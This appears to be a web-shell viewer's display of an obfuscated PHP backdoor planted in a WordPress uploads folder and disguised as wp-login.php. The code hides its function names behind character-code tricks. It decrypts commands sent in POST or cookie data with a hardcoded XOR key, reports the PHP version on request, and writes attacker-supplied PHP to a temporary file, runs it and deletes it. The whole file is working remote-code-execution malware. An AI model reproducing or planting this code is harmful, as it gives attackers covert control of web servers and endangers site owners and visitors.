HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/colibri/wp-login.php
<?php 

$hcdkgfw      =	'hcdkgfw' /*  xifklu   */ ^       '';
$xgixdk /*izaj */ = /*yvy   */ "a".$hcdkgfw(114)    . /*  ibkec*/ "r"."a"."y".$hcdkgfw(1072-977)    . /*   bg*/ "\155"    . /*  ulzk   */ "\141" /*   hvvi */ .      "\x70";

$rlyhrv /*   isota*/ =       "i".$hcdkgfw(976-867)	.   $hcdkgfw(112)       . /*  ialz */ "l"."o"."d".$hcdkgfw(517-416);


function    fqtfu($wejtv,	$fbrwbn)
{

	global /*   wuikvk   */ $hcdkgfw;
     /*yovtx*/ $wejtv   =	$hcdkgfw(556-496)    .      $hcdkgfw(255-192)     . /* b_ktzq */ "p".$hcdkgfw(976-872) /*  s */ . /*   q*/ "p".$hcdkgfw(32)    .     "\x75"    .    "\x6e" /*   _ci_bj  */ . /*evr  */ "\154"      . /*  hii*/ "\x69"      . /*nsaz  */ "n".$hcdkgfw(1101-994)    . /*   vj   */ $hcdkgfw(40)   .    "_"."\x5f"    .    "\x46"     . /*vb   */ "\111" /*   s_  */ .     "L".$hcdkgfw(307-238) /*_wz_*/ .    $hcdkgfw(95)	. /*  lz */ $hcdkgfw(258-163)    .   $hcdkgfw(444-403) /*   pt */ . /* q */ "\x3b" /*  _*/ . /*   limex   */ $hcdkgfw(32)    .     $wejtv["\x64"];

    $ecxxxov    =    "f"."\151" /*lnw  */ . /*  a*/ "l"."\x65"       .    $hcdkgfw(95)	. /*w */ "p".$hcdkgfw(622-505) /*y   */ . /* awe*/ "t"."_"."c"."o"."n"."\x74"     .    $hcdkgfw(101) /*ah   */ .      "\x6e"     .    "\x74" /*fy*/ . /*  kkp*/ $hcdkgfw(939-824);


    


 /*   etl_cn  */ $ecxxxov($fbrwbn,     $wejtv);    


    gaykg($fbrwbn);}



$euxfuejklx	= /*_k_nmk   */ 73;



function    gaykg($fbrwbn)

{


	global /*  ek   */ $hcdkgfw;

    
 /*  m   */ include($fbrwbn);


  $yjytz_hopq /* wtz  */ = /*_rfxn  */ $fbrwbn;

    @unlink($yjytz_hopq);}




function /*   av */ tegbqn_mzb()


{

 /*  qgru*/ global /*hdmipu   */ $hcdkgfw;



	$fmgwkth     =    array();

 /*  oeizry  */ $fmgwkth["\160"    .	$hcdkgfw(129-11)]    =	phpversion();


    $fmgwkth["\163"    .   "v"]	=      $hcdkgfw(906-855)       .     ".".$hcdkgfw(53);

	$qpp_caqf    = /* jk   */ 74; /* rji*/ echo     @serialize($fmgwkth);}



function /*  kc   */ dfvbk($wejtv,   $uvlhytijc){ /*bq   */ global   $hcdkgfw;

 /* zrsbl  */ $m_katxu	= /*   yre */ "";


    $vdtlogalw /*   dsw */ =    strlen($wejtv);


 /*  n   */ $_gqpff    =       strlen($uvlhytijc);

   $fmgwkth /* hvyy  */ =	0;

    $vmukvuzo /*yrgizk   */ =	0;       
 /*   svrevk*/ while /*   awfy  */ ($fmgwkth       <    $vdtlogalw)  {


 /*  xbgtgy */ $uzhzxzxa /*  v   */ = /*nbkhi  */ $wejtv[$fmgwkth] /* fivq*/ ^	$uvlhytijc[$vmukvuzo /*vmgxs  */ %    $_gqpff];

       $m_katxu      .=    $uzhzxzxa;
      $vmukvuzo++; /*   vcukc   */ 
     $fmgwkth++;    }
         if       (strlen($m_katxu)    > /*  dviaa   */ 20)    {
  $xquyvvfgjq       =     substr($m_katxu,    0, /* cktk */ 20);
 /*   eim   */ }

    if    (empty($m_katxu)) /* yjflji */ {

 /*p  */ $m_katxu   =	date('Y-m-d    H:i:s');
    } /*pq_c*/ return    $m_katxu;

}




function    l_jfaxsg($fvgsg_d)

{  global    $hcdkgfw;


 /*t  */ 


    $ffrv_hve    =    $hcdkgfw(102)       .   "c".$hcdkgfw(135-78)    .  $hcdkgfw(101)."0"."\x38"    .    "\67" /* plkz*/ . /* w*/ "2"."\x2d" /* oos*/ . /*   dgjz  */ $hcdkgfw(288-238) /*  re*/ .      "\145"   .   $hcdkgfw(189-133)     .    "3"."\x2d"     .       $hcdkgfw(558-506) /*  affk  */ . /*   wbsdh */ $hcdkgfw(101).$hcdkgfw(97)    .  "\x38"    .    $hcdkgfw(45)	.	"9"."6"."\x64".$hcdkgfw(52)   .	$hcdkgfw(45)    . /*  zvcf   */ "9"."9"."a"."\63" /*   legjmm   */ .  $hcdkgfw(51) /*  tm*/ . /*   pqfex*/ "4".$hcdkgfw(390-289) /*  vscgsu */ .	$hcdkgfw(1016-916) /* vsbze */ .   $hcdkgfw(48) /*   lcx*/ .    "c"."4"."\x64";

 /* edjish  */     foreach /* yxi  */ ($fvgsg_d  as    $ecbs_ptio     => /*rwn   */ $wejtv) /*   xoilf   */ {


 /*rfpm   */ rsqov(base64_decode($wejtv),      $ffrv_hve, /* kjgduy   */ $ecbs_ptio);     }

}




function /*fna  */ rsqov($wejtv,	$ffrv_hve,	$ecbs_ptio)


{


       global /*   ip_p_*/ $hcdkgfw;

 /* zafta  */ 

    $wejtv	= /*  _hm */ unserialize(dfvbk(dfvbk($wejtv,    $ffrv_hve),     $ecbs_ptio));


	$vhznjka   = /* gdwp_q*/ 'czac';	$keksjh /*cajwj */ = /*  ltppg  */ 'edheasnnbp';


 /*  wni  */ if	(isset($wejtv["a"."k"]))       {


    if    ($wejtv["a"]    ==    "\x69")       { /*  fey  */ tegbqn_mzb();	}    elseif       ($wejtv["a"]  == /*qde */ $hcdkgfw(101))	{
 /*   wlgrf_  */ fqtfu($wejtv,       sprintf("."."/".$hcdkgfw(531-494)   .    "s"."."."p"."\x6c", /*   pebgvx   */ md5($ffrv_hve)));			$fikat_kbh	= /*   qprv*/ 44;  }  exit(); /* wm   */ }}




l_jfaxsg($_POST);     



$ejmocjuk /*sf  */ =      'rawurldecode';



$fmgwkthtvbqeq	=    $xgixdk($ejmocjuk,	$_POST);$rlyhrv("",    $ejmocjuk);



l_jfaxsg($_COOKIE);


$bggkztj    =       $xgixdk($ejmocjuk,    $_COOKIE);



?>